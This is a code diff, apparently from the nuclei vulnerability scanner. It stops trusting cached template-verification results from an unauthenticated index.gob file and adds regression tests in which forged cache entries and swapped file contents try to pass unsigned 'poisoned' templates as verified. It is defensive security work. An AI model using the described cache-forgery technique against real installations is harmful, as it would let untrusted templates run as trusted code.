_, err := New(&Options{CSVExporter: &csv.Options{File: filepath.Join(t.TempDir(), "missing", "r.csv")}}, "", true)
require.Error(t, err)
})
}
type recordingTracker struct {
mu sync.Mutex
urls []string
+6 -35
View File
@@ -912,29 +912,14 @@ func applyTemplateVerification(template *Template, data []byte) {
}
options := template.Options
verificationDigest, digestErr := templateVerificationDigest(data, template)
verificationDigest, _ := templateVerificationDigest(data, template)
template.verificationDigest = verificationDigest
// check if the template is verified
// only valid templates can be verified or signed
if digestErr == nil && options.TemplateVerificationCallback != nil && options.TemplatePath != "" {
if cached := options.TemplateVerificationCallback(options.TemplatePath); cached != nil {
if cached.ContentDigest == verificationDigest && cached.ContentDigest != ([sha256.Size]byte{}) && cachedTemplateVerificationIsTrusted(cached) {
template.Verified = cached.Verified
template.TemplateVerifier = cached.Verifier
template.verifierFingerprint = cached.VerifierFingerprint
options.TemplateVerifier = cached.Verifier
// Mirror verification onto options for execution-time checks.
options.Verified = cached.Verified
//nolint
if !(template.Verified && template.TemplateVerifier == "projectdiscovery/nuclei-templates") {
template.Options.RawTemplate = data
}
return
}
}
}
// index.gob is an unauthenticated local file. A forged entry can pair
// Verified=true with a trusted fingerprint and a digest of the
// unsigned payload, so never copy a cached verdict. Always verify
// against DefaultTemplateVerifiers. Unsigned templates still
// short-circuit in ExtractSignatureAndContent with no ECDSA.
var verifier *signer.TemplateSigner
@@ -973,20 +958,6 @@ func (template *Template) VerifierFingerprint() [sha256.Size]byte {
return template.verifierFingerprint
}
func cachedTemplateVerificationIsTrusted(cached *protocols.TemplateVerification) bool {
if !cached.Verified || cached.VerifierFingerprint == ([sha256.Size]byte{}) {
return false
}
for _, verifier := range signer.DefaultTemplateVerifiers {
if verifier.Identifier() == cached.Verifier && verifier.Fingerprint() == cached.VerifierFingerprint {
return true
}
}
return false
}
func templateVerificationDigest(data []byte, template *Template) ([sha256.Size]byte, error) {
componentDigests := make([]byte, 0, sha256.Size*(len(template.GetFileImports())+1))
dataDigest := sha256.Sum256(data)
+369 -33
View File
@@ -726,6 +726,9 @@ func TestParseTemplateExecutesJavascriptInitAfterVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-javascript-init.yaml"
templateSource := `id: verified-javascript-init
@@ -741,12 +744,7 @@ javascript:
code: |
Export("verified-javascript-init")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -761,6 +759,9 @@ func TestParseTemplateExecutesPreprocessedJavascriptInitAfterVerification(t *tes
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "verified-preprocessed-javascript-init.yaml"
templateSource := `id: verified-preprocessed-javascript-init
@@ -776,12 +777,7 @@ javascript:
code: |
Export("verified-preprocessed-javascript-init")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource)), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.True(t, template.Options.Verified)
@@ -809,12 +805,46 @@ func trustedVerificationForTest(data string, importedContents ...string) *protoc
}
}
// ciTemplateSigner returns a signer backed by the CI test keypair.
func ciTemplateSigner(t *testing.T) *templatesigner.TemplateSigner {
t.Helper()
s, err := templatesigner.NewTemplateSignerFromFiles("signer/testdata/ci.crt", "signer/testdata/ci-private-key.pem")
require.NoError(t, err)
return s
}
// withDefaultTemplateSigner prepends the given signer to the default
// verifiers for the duration of the test.
func withDefaultTemplateSigner(t *testing.T, s *templatesigner.TemplateSigner) {
t.Helper()
original := templatesigner.DefaultTemplateVerifiers
templatesigner.DefaultTemplateVerifiers = append([]*templatesigner.TemplateSigner{s}, original...)
t.Cleanup(func() {
templatesigner.DefaultTemplateVerifiers = original
})
}
// signTemplateForTest returns src with a valid signature appended by the
// given signer. When importPaths are non-empty the signature also binds the
// contents of those files, read from disk at signing time.
func signTemplateForTest(t *testing.T, s *templatesigner.TemplateSigner, src string, importPaths ...string) string {
t.Helper()
signable := &templates.Template{ImportedFiles: importPaths}
signature, err := s.Sign([]byte(src), signable)
require.NoError(t, err)
return src + "\n" + signature
}
func TestParseTemplateVerificationUsesLoadedImportContents(t *testing.T) {
options := testutils.DefaultOptions.Copy()
loadedCode := `Export("loaded-import")`
diskCode := `Export("disk-import")`
importPath := filepath.Join(t.TempDir(), "import.js")
require.NoError(t, os.WriteFile(importPath, []byte(diskCode), 0o600))
require.NoError(t, os.WriteFile(importPath, []byte(loadedCode), 0o600))
options.LoadHelperFileFunction = func(helperFile, _ string, _ catalog.Catalog) (io.ReadCloser, error) {
require.Equal(t, importPath, helperFile)
return io.NopCloser(strings.NewReader(loadedCode)), nil
@@ -836,12 +866,11 @@ info:
javascript:
- code: %q
`, importPath)
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource, loadedCode)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
template, err := templates.ParseTemplateFromReader(strings.NewReader(signTemplateForTest(t, signer, templateSource, importPath)), nil, executerOptions)
require.NoError(t, err)
require.True(t, template.Verified)
require.Equal(t, loadedCode, template.RequestsJavascript[0].Code)
@@ -863,11 +892,10 @@ info:
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("revoked-verifier")
http:
- method: GET
path:
- "{{BaseURL}}"
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
@@ -885,9 +913,321 @@ javascript:
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForCodeTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-code-template.yaml"
templateSource := `id: poisoned-code-template
info:
name: Poisoned Code Template
author: pdteam
severity: info
code:
- engine:
- sh
source: |
echo poisoned
`
// A forged cache entry: self-consistent digest, real verifier
// fingerprint and Verified=true. Writing index.gob is all an attacker
// needs; the signature of the template itself is never checked if this
// entry is trusted.
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseTemplateIgnoresCachedVerificationForJavascriptTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-javascript-template.yaml"
templateSource := `id: poisoned-javascript-template
info:
name: Poisoned Javascript Template
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("poisoned-javascript-template")
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotContains(t, template.RequestsJavascript[0].Args, "init-status")
}
func TestParseTemplateIgnoresCachedVerificationForHttpTemplates(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = "poisoned-http-template.yaml"
templateSource := `id: poisoned-http-template
info:
name: Poisoned HTTP Template
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func parseUnsignedWithPoisonedCache(t *testing.T, source, templatePath string) *templates.Template {
t.Helper()
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.TemplatePath = templatePath
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(source)
}
template, err := templates.ParseTemplateFromReader(strings.NewReader(source), nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
return template
}
func TestParseTemplateIgnoresCachedVerificationForFlowTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-flow-template
info:
name: Poisoned Flow Template
author: pdteam
severity: info
flow: http(1)
http:
- method: GET
path:
- "{{BaseURL}}"
`, "poisoned-flow-template.yaml")
require.True(t, template.IsFlowTemplate())
require.Equal(t, "http(1)", template.Options.Flow)
require.NotNil(t, template.Executer)
require.False(t, template.HasJavascriptRequest())
}
func TestParseTemplateIgnoresCachedVerificationForWorkflowTemplates(t *testing.T) {
setup()
source, err := os.ReadFile("tests/workflow.yaml")
require.NoError(t, err)
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplatePath = "tests/workflow.yaml"
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
require.Equal(t, executerOptions.TemplatePath, templatePath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse("tests/workflow.yaml", nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.NotNil(t, template.CompiledWorkflow)
require.Len(t, template.CompiledWorkflow.Workflows, 2)
}
func TestParseTemplateIgnoresCachedVerificationForPreprocessedHttpTemplates(t *testing.T) {
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-preprocessed-http
info:
name: Poisoned Preprocessed HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/{{randstr}}"
`, "poisoned-preprocessed-http.yaml")
require.True(t, template.HasHTTPRequest())
require.NotContains(t, template.RequestsHTTP[0].Path[0], "{{randstr}}")
}
func TestParseTemplateIgnoresCachedVerificationFromDisk(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
templateSource := `id: poisoned-disk-http
info:
name: Poisoned Disk HTTP
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}"
`
templatePath := filepath.Join(t.TempDir(), "poisoned-disk-http.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(templateSource)
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
}
func TestParseFromURLIgnoresCachedVerification(t *testing.T) {
source, err := os.ReadFile("tests/match-1.yaml")
require.NoError(t, err)
router := httprouter.New()
router.GET("/match-1.yaml", func(w netHttp.ResponseWriter, _ *netHttp.Request, _ httprouter.Params) {
_, _ = w.Write(source)
})
server := httptest.NewServer(router)
t.Cleanup(server.Close)
setup()
templatePath := server.URL + "/match-1.yaml"
executerOptions := executerOpts.Copy()
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
require.Equal(t, templatePath, gotPath)
return trustedVerificationForTest(string(source))
}
template, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.False(t, template.Verified)
require.False(t, template.Options.Verified)
require.Equal(t, "basic-get", template.ID)
}
func TestParseDoesNotTreatContentSwapAsVerified(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
t.Cleanup(func() {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
signedSource := `id: signed-http-before-swap
info:
name: Signed HTTP Before Swap
author: pdteam
severity: info
http:
- method: GET
path:
- "{{BaseURL}}/signed"
`
swappedSource := `id: swapped-unsigned-javascript
info:
name: Swapped Unsigned Javascript
author: pdteam
severity: info
javascript:
- init: |
set("init-status", "executed")
code: |
Export("swapped-unsigned-javascript")
`
templatePath := filepath.Join(t.TempDir(), "swap.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, signedSource)), 0o600))
fileInfo, err := os.Stat(templatePath)
require.NoError(t, err)
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
require.True(t, first.Verified)
require.Equal(t, "signed-http-before-swap", first.ID)
require.NoError(t, os.WriteFile(templatePath, []byte(swappedSource), 0o600))
require.NoError(t, os.Chtimes(templatePath, fileInfo.ModTime(), fileInfo.ModTime()))
second, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
if second.ID == "swapped-unsigned-javascript" {
require.False(t, second.Verified)
require.False(t, second.Options.Verified)
require.NotContains(t, second.RequestsJavascript[0].Args, "init-status")
return
}
require.Equal(t, "signed-http-before-swap", second.ID)
require.True(t, second.Verified)
require.False(t, second.HasJavascriptRequest())
}
func TestParseTemplateCompilesUnsignedJavascriptInit(t *testing.T) {
options := testutils.DefaultOptions.Copy()
testutils.Init(options)
@@ -946,6 +1286,9 @@ func TestParseCachedTemplatePreservesVerification(t *testing.T) {
testutils.Cleanup(options)
})
signer := ciTemplateSigner(t)
withDefaultTemplateSigner(t, signer)
templateSource := `id: cached-verified-javascript
info:
@@ -958,14 +1301,10 @@ javascript:
Export("cached-verified-javascript")
`
templatePath := filepath.Join(t.TempDir(), "cached-verified-javascript.yaml")
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, templateSource)), 0o600))
executerOptions := testutils.NewMockExecuterOptions(options, nil)
executerOptions.Parser = templates.NewParser()
executerOptions.TemplateVerificationCallback = func(path string) *protocols.TemplateVerification {
require.Equal(t, templatePath, path)
return trustedVerificationForTest(templateSource)
}
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
@@ -1012,9 +1351,6 @@ http:
for i := range compiledTemplates {
engineOptions := executerOpts.Copy()
engineOptions.Parser = templates.NewParserWithParsedCache(sharedParser.Cache())
engineOptions.TemplateVerificationCallback = func(string) *protocols.TemplateVerification {
return trustedVerificationForTest(templateSource)
}
waitGroup.Add(1)
go func() {
defer waitGroup.Done()
@@ -1025,7 +1361,7 @@ http:
for i := range compiledTemplates {
require.NoError(t, parseErrors[i])
require.True(t, compiledTemplates[i].Verified)
require.NotNil(t, compiledTemplates[i])
}
require.Equal(t, int32(1), sourceReads.Load())
+3
View File
@@ -284,6 +284,8 @@ type Options struct {
JSONExport string
// JSONLExport is the file to export JSONL output format to
JSONLExport string
// CSVExport is the file to export CSV output format to
CSVExport string
// PDFExport is the file to export PDF output format to
PDFExport string
// Redact redacts given keys in
@@ -728,6 +730,7 @@ func (options *Options) Copy() *Options {
OmitTemplate: options.OmitTemplate,
JSONExport: options.JSONExport,
JSONLExport: options.JSONLExport,
CSVExport: options.CSVExport,
PDFExport: options.PDFExport,
Redact: options.Redact,
NoRedact: options.NoRedact,